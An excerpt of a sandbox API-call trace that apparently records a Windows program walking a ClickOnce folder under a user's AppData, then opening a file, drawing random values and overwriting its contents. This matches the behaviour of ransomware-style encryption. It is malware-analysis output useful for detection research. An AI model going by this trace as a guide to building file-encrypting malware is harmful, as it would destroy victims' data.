[0151.328] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934d08 [0151.329] wcscpy (in: _Dest=0x934d08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" [0151.329] wcscat (in: _Dest=0x934d08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\" [0151.329] wcscat (in: _Dest=0x934d08, _Source="YVORLGOR.PNT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" [0151.329] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97b808 [0151.329] wcscpy (in: _Dest=0x97b808, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" [0151.329] wcscat (in: _Dest=0x97b808, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\" [0151.329] wcscat (in: _Dest=0x97b808, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*" [0151.329] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9be060 [0151.329] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", lpFindFileData=0x9be060 | out: lpFindFileData=0x9be060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da110 [0151.343] wcscmp (_String1=".", _String2=".") returned 0 [0151.343] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x9be060 | out: lpFindFileData=0x9be060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.343] wcscmp (_String1="..", _String2=".") returned 1 [0151.343] wcscmp (_String1="..", _String2="..") returned 0 [0151.343] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x9be060 | out: lpFindFileData=0x9be060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", cAlternateFileName="CLICEX~1.000")) returned 1 [0151.343] wcscmp (_String1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", _String2=".") returned 1 [0151.343] wcscmp (_String1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", _String2="..") returned 1 [0151.343] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x116) returned 0x8fa890 [0151.343] wcscpy (in: _Dest=0x8fa890, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" [0151.343] wcscat (in: _Dest=0x8fa890, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\" [0151.343] wcscat (in: _Dest=0x8fa890, _Source="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715" [0151.343] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11a) returned 0x9bfdf0 [0151.343] wcscpy (in: _Dest=0x9bfdf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715" [0151.343] wcscat (in: _Dest=0x9bfdf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\" [0151.343] wcscat (in: _Dest=0x9bfdf0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*" [0151.343] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907510 [0151.344] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da190 [0151.349] wcscmp (_String1=".", _String2=".") returned 0 [0151.349] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.350] wcscmp (_String1="..", _String2=".") returned 1 [0151.350] wcscmp (_String1="..", _String2="..") returned 0 [0151.350] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0151.350] wcscmp (_String1="GoogleUpdateSetup.exe", _String2=".") returned 1 [0151.350] wcscmp (_String1="GoogleUpdateSetup.exe", _String2="..") returned 1 [0151.350] FindNextFileW (in: hFindFile=0x8da190, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 0 [0151.350] FindClose (in: hFindFile=0x8da190 | out: hFindFile=0x8da190) returned 1 [0151.350] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x907510) returned 1 [0151.350] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfdf0) returned 1 [0151.350] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa890) returned 1 [0151.350] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x9be060 | out: lpFindFileData=0x9be060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1 [0151.350] wcscmp (_String1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", _String2=".") returned 1 [0151.350] wcscmp (_String1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", _String2="..") returned 1 [0151.350] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10c) returned 0x8fa890 [0151.350] wcscpy (in: _Dest=0x8fa890, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" [0151.350] wcscat (in: _Dest=0x8fa890, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\" [0151.350] wcscat (in: _Dest=0x8fa890, _Source="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0151.351] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x110) returned 0x9bfdf0 [0151.351] wcscpy (in: _Dest=0x9bfdf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0151.351] wcscat (in: _Dest=0x9bfdf0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0151.351] wcscat (in: _Dest=0x9bfdf0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*" [0151.351] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x907510 [0151.351] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da450 [0151.392] wcscmp (_String1=".", _String2=".") returned 0 [0151.392] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.392] wcscmp (_String1="..", _String2=".") returned 1 [0151.392] wcscmp (_String1="..", _String2="..") returned 0 [0151.392] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a307ea0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe", cAlternateFileName="CLICKO~1.EXE")) returned 1 [0151.392] wcscmp (_String1="clickonce_bootstrap.exe", _String2=".") returned 1 [0151.392] wcscmp (_String1="clickonce_bootstrap.exe", _String2="..") returned 1 [0151.392] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x907510 | out: lpFindFileData=0x907510*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe.cdf-ms", cAlternateFileName="")) returned 1 [0151.392] wcscmp (_String1="clickonce_bootstrap.exe.cdf-ms", _String2=".") returned 1 [0151.392] wcscmp (_String1="clickonce_bootstrap.exe.cdf-ms", _String2="..") returned 1 [0151.392] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x14a) returned 0x8f6978 [0151.392] wcscpy (in: _Dest=0x8f6978, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0151.392] wcscat (in: _Dest=0x8f6978, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0151.392] wcscat (in: _Dest=0x8f6978, _Source="clickonce_bootstrap.exe.cdf-ms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" [0151.392] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms")) returned 0x2020 [0151.392] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms", dwFileAttributes=0x20) returned 1 [0151.393] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf34 [0151.393] GetFileSizeEx (in: hFile=0xf34, lpFileSize=0x479f9cc | out: lpFileSize=0x479f9cc*=17104) returned 1 [0151.393] SetFilePointerEx (in: hFile=0xf34, liDistanceToMove=0x42cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.393] ReadFile (in: hFile=0xf34, lpBuffer=0x479f950, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x479f94c, lpOverlapped=0x0 | out: lpBuffer=0x479f950*, lpNumberOfBytesRead=0x479f94c*=0x4, lpOverlapped=0x0) returned 1 [0151.399] SetFilePointerEx (in: hFile=0xf34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.399] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af168 [0151.399] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aedd0 [0151.399] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af2a8 [0151.399] NtQuerySystemTime (in: CurrentTime=0x479f92c | out: CurrentTime=0x479f92c*=132174899260150000) returned 0x0 [0151.399] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x1d55d991 [0151.399] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x1881e8d6 [0151.399] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x1f4bbaeb [0151.399] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x3b4848da [0151.399] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x46dda0b4 [0151.399] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x63f71eea [0151.399] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x34c15834 [0151.399] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x4087fb56 [0151.399] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x4f8b6ab5 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x73e4837d [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x3c5e001d [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x343b438b [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x41e81fb6 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x757809fc [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x492e0827 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x4ae3ade7 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x39e0a14 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x59eec0e9 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0xf2c60c8 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x3e9a4c10 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x17aa1fc7 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x510d4f07 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x424475ef [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x58c34ec4 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x3540af87 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x356934a6 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x38e4ec02 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x334edde [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x24c8a33b [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x263a9f55 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x1bd895b7 [0151.400] RtlRandomEx (in: Seed=0x479f938 | out: Seed=0x479f938) returned 0x389dcdb9 [0151.411] ReadFile (in: hFile=0xf34, lpBuffer=0x12c5e850, nNumberOfBytesToRead=0x42d0, lpNumberOfBytesRead=0x479f928, lpOverlapped=0x0 | out: lpBuffer=0x12c5e850*, lpNumberOfBytesRead=0x479f928*=0x42d0, lpOverlapped=0x0) returned 1 [0152.007] SetFilePointerEx (in: hFile=0xf34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.007] WriteFile (in: hFile=0xf34, lpBuffer=0xd494048*, nNumberOfBytesToWrite=0x42d0, lpNumberOfBytesWritten=0x479f924, lpOverlapped=0x0 | out: lpBuffer=0xd494048*, lpNumberOfBytesWritten=0x479f924*=0x42d0, lpOverlapped=0x0) returned 1 [0153.013] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9b98 [0153.013] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9878 [0153.014] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9878) returned 1 [0153.014] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494048) returned 1 [0153.014] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c5e850) returned 1 [0153.024] RtlFreeHeap (HeapHandle=0x8c0000, 